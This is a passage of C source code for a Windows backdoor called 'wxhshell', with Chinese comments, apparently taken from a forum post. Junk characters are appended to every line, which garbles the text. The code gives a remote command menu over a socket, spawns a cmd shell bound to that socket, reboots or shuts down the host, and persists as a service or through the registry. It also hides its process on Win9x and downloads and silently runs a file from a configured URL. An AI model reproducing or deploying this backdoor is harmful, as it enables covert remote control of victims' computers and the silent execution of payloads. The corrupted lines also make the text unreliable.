  else W^3 Jg2gE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u|wl;+.  
  } RDSC@3%  
  else { tb?TPd-OY  
 Me z&@{  
    switch(cmd[0]) { &V axv$v}  
  W[I[Xg&  
  // 帮助 ugN%8N  
  case '?': { 5GAW3j{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jjH2!R]^>  
    break; /D9#v1b  
  } v @M6D}  
  // 安装 r ts2Jk7f  
  case 'i': { >.UEs 8QV  
    if(Install()) &zgliT!If  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J;XO1}9  
    else 'J*'{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ABoB=0.l  
    break; rhOxy Y0  
    } KJ/Gv#Kj  
  // 卸载 }#.OJub  
  case 'r': { pFMJG<W9,  
    if(Uninstall()) sE]z.Po=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < `;Mf>V  
    else hy#nK:B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/ml ,4e  
    break; 'S}3lsIE  
    } &b:y#gvJ:  
  // 显示 wxhshell 所在路径 U7U&^s6`  
  case 'p': { xC + >R1)  
    char svExeFile[MAX_PATH]; g3'dkS!  
    strcpy(svExeFile,"\n\r"); (ZF~   
      strcat(svExeFile,ExeFile); ^3vI NF  
        send(wsh,svExeFile,strlen(svExeFile),0); d\Up6F  
    break; ;K l'[~z  
    } a%m >v,  
  // 重启 i0\]^F  
  case 'b': { d$\n@}8eZp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \COoU("  
    if(Boot(REBOOT)) c'?EI EP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qldm"Ul  
    else { o4a@{nt^,  
    closesocket(wsh); Iw] ylp  
    ExitThread(0); ,,j >2Ts  
    } iX2exJto  
    break; D?xR>Oo)  
    } `:ZaT('h  
  // 关机 OJydt;a  
  case 'd': { ulg=,+%r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `v(!IBP|  
    if(Boot(SHUTDOWN)) (O:&RAkk7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]MgT-C|  
    else { b~ig$!N]  
    closesocket(wsh); ~.e~YI80  
    ExitThread(0); Iza#v0  
    } 5 <KBMCn  
    break; ,{ 0&NX  
    } ] -C*d$z  
  // 获取shell w?fq%-6f*  
  case 's': { ze8MFz'm  
    CmdShell(wsh); 6ypHH 2X  
    closesocket(wsh); `]6W*^'PD  
    ExitThread(0); .db:mSrL  
    break; _jCu=l_  
  } =`MQKh,  
  // 退出 iH)vLD  
  case 'x': { Qdc#v\B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (L1O;~$  
    CloseIt(wsh); 5 r<cna  
    break; 8v^AVg  
    } {9F}2 SJ  
  // 离开 s<C66z  
  case 'q': { hR[_1vuIu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lnh'y`q  
    closesocket(wsh); [--] ?Dr  
    WSACleanup(); m aQDD*  
    exit(1); 5NK yF  
    break; rUB67ok*  
        } Hb$wawy<  
  } 4kNSF  
  } u]3VK  
q"g4fzCD  
  // 提示信息 L_zB/(h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %yVP@M  
} S U P  
  } tD,~i"0;  
G@dw5EfF9  
  return; bwjLMWEVq  
} @G>&Gu;5  
OOz;/kay  
// shell模块句柄 gln X C  
int CmdShell(SOCKET sock) 2Nx#:Rz  
{ b:*( f#"q  
STARTUPINFO si; <5c^DA  
ZeroMemory(&si,sizeof(si)); <oTNo>U/k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y-"7R>^I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v`"BXSmp{  
PROCESS_INFORMATION ProcessInfo; !xC IvKW  
char cmdline[]="cmd"; C #@5:$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XXW.Uios  
  return 0; hQJ-  ~  
} iS8yJRy  
H#I%6k*\a  
// 自身启动模式 MOP#to)k&  
int StartFromService(void) Z9I ?j1K|!  
{ % ELf 7~  
typedef struct YksJ$yH^  
{ lz0'E'%{P  
  DWORD ExitStatus; NK(; -~{P  
  DWORD PebBaseAddress; z]Mu8  
  DWORD AffinityMask; Dj{t[z]$k  
  DWORD BasePriority; ].*I Z  
  ULONG UniqueProcessId; + gP 4MP  
  ULONG InheritedFromUniqueProcessId; [/eRc  
}   PROCESS_BASIC_INFORMATION; 8IihG \  
rWzO> v  
PROCNTQSIP NtQueryInformationProcess; 2Rs-!G< ]  
6%UhP;(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PqwoZo0j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gl"1;C  
7{DSLKtN  
  HANDLE             hProcess; }?z_sNrDk  
  PROCESS_BASIC_INFORMATION pbi; 2sqNTuO6,|  
RVe UQ%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7TGLt z  
  if(NULL == hInst ) return 0; JNgl  
T! fF1cpF\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &H@OLyC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); km#Rh^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nQ^ <h.  
|R$/oq  
  if (!NtQueryInformationProcess) return 0; O'<cEv'B*  
3eS *U`_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0hx EI  
  if(!hProcess) return 0; Snf1vH  
-_|U"C$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; = ^A/&[&31  
WscNjWQ^TD  
  CloseHandle(hProcess); FYu=e?L  
ZQPv@6+oY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QO%#.s  
if(hProcess==NULL) return 0; J+6bp0RIh  
vT>ki0P_;  
HMODULE hMod; 8g CQ0w<  
char procName[255]; A#B6]j)  
unsigned long cbNeeded; ~%o?J"y  
{:r8X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %.*?i9}  
s9-aPcA  
  CloseHandle(hProcess); F( Iq8DV  
KD5}Nk)t  
if(strstr(procName,"services")) return 1; // 以服务启动 ;/phZ$l  
w %sHA  
  return 0; // 注册表启动 [J.-gN$X@  
} ? 3 l4U  
5+[`x ']l  
// 主模块 GGR hM1II  
int StartWxhshell(LPSTR lpCmdLine) tu6Q7CjW8  
{ BejeFV3  
  SOCKET wsl; /"M7YPX;  
BOOL val=TRUE; L3g}Z1<!$  
  int port=0; <U ?_-0  
  struct sockaddr_in door; i; 3^vhbQ  
g :me:M  
  if(wscfg.ws_autoins) Install(); -gpF%g`H  
?u9JRXj%  
port=atoi(lpCmdLine); aI6fPQe  
f;;(Q-.  
if(port<=0) port=wscfg.ws_port; XfXqq[\N  
.l->O-=  
  WSADATA data; >dW~o_u'QN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J c~{ E  
}I\hO L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q! +?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +h$) l/>:  
  door.sin_family = AF_INET; k2xOu9ncEj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -nQ:RHnd  
  door.sin_port = htons(port); Zw[A1!T,  
9cu0$P`}5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q`dzn=  
closesocket(wsl); 9*+%Qt,{B  
return 1; fr1/9E;  
} Cku&s  
wh\J)pA1  
  if(listen(wsl,2) == INVALID_SOCKET) { oD]riA>jC  
closesocket(wsl); DJv;ed%x  
return 1; ly<1]jK  
} APgP*,  
  Wxhshell(wsl); RfMrGC^?  
  WSACleanup(); M8 E8r  
?=%Q$|]-  
return 0; :h>d'+\  
94umk*ib  
} S?bG U8R5  
D|u! KH  
// 以NT服务方式启动 F]hKi`@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d85\GEF9i  
{ 9}{i8 <$=  
DWORD   status = 0; G &'eP  
  DWORD   specificError = 0xfffffff; H*DWDJxmV  
QPf#y7_@u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vxxa,KR/y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a sDq(J`sQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cz2OGM*mz?  
  serviceStatus.dwWin32ExitCode     = 0; %=:*yf>}  
  serviceStatus.dwServiceSpecificExitCode = 0; \4RVJ[2  
  serviceStatus.dwCheckPoint       = 0; =|lKB;  
  serviceStatus.dwWaitHint       = 0; l^s\^b=W  
Zc"Vf]:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &R54?u^A  
  if (hServiceStatusHandle==0) return; :>U2yI  
u.wm;eK[  
status = GetLastError(); $'I+] ;  
  if (status!=NO_ERROR) %-y%Q.;k ?  
{ sE4= 2p`x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (~~*PT-  
    serviceStatus.dwCheckPoint       = 0; } PD]e*z{Z  
    serviceStatus.dwWaitHint       = 0; &C eG4_Mi  
    serviceStatus.dwWin32ExitCode     = status; l[EnFbD6  
    serviceStatus.dwServiceSpecificExitCode = specificError; o#KGENd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B5>1T[T'-  
    return; lMu}|d  
  } \bze-|C  
03ol!|X "9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lP>}9^7I!  
  serviceStatus.dwCheckPoint       = 0; I$K?,   
  serviceStatus.dwWaitHint       = 0; 8SvPDGu `]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V6.xp{[  
} uqy b  
M+<xX)   
// 处理NT服务事件,比如:启动、停止 gU7@}P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3/P# 2&jt  
{ Ju""i4  
switch(fdwControl) W]!{Y'G  
{ b[Z5:[@\#  
case SERVICE_CONTROL_STOP: -@49Zh2'  
  serviceStatus.dwWin32ExitCode = 0; ;b=3iT-2"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {EKzPr/  
  serviceStatus.dwCheckPoint   = 0; E|ce[|2  
  serviceStatus.dwWaitHint     = 0; yUb$EMo \  
  { , Vz 1l_7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G3{t{XkV  
  } pyEi@L1p  
  return; oVPtA@  
case SERVICE_CONTROL_PAUSE: 2Y~6~*8*~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >#}MDwKZD  
  break; 5BvCP   
case SERVICE_CONTROL_CONTINUE: 0GR\iw$[J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0MK|spc  
  break; [#y/`  
case SERVICE_CONTROL_INTERROGATE: Qp{gV Ys  
  break; 8*rd`k1 |g  
}; ng]jpdeA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N zY}-:{  
} w ^ v*1KA&  
7Y$#* 7  
// 标准应用程序主函数 fsU6o4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UUy%:t  
{ %Z@+K_X9x  
oQgd]| v  
// 获取操作系统版本 M_tY:v  
OsIsNt=GetOsVer(); ]3@6o*R;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); csg:# -gE  
`UFRv   
  // 从命令行安装 IUco 8  
  if(strpbrk(lpCmdLine,"iI")) Install(); V[-4cu,Ph^  
TJ@@k SSbl  
  // 下载执行文件 rzJNHf=FVY  
if(wscfg.ws_downexe) { k0IW,z%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %} WSw~X  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2j_YHv$I  
} `}:q@: %  
jEj#|w  
if(!OsIsNt) { ;Ee!vqD2  
// 如果时win9x,隐藏进程并且设置为注册表启动 70,V>=aJ  
HideProc();  6e,|HV  
StartWxhshell(lpCmdLine); t0_o .S  
} "0o1M\6Z  
else {UpHHH:X#  
  if(StartFromService()) P( >*gp  
  // 以服务方式启动 )3<|<jwcx  
  StartServiceCtrlDispatcher(DispatchTable); O$jj&  
else * z|i{=W F  
  // 普通方式启动 E~?0Yrm F  
  StartWxhshell(lpCmdLine); %M{qr!?uj  
\\F^uM7,  
return 0; 8Xpf|? .  
}
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只看该作者 1 发表于: 2006-10-10
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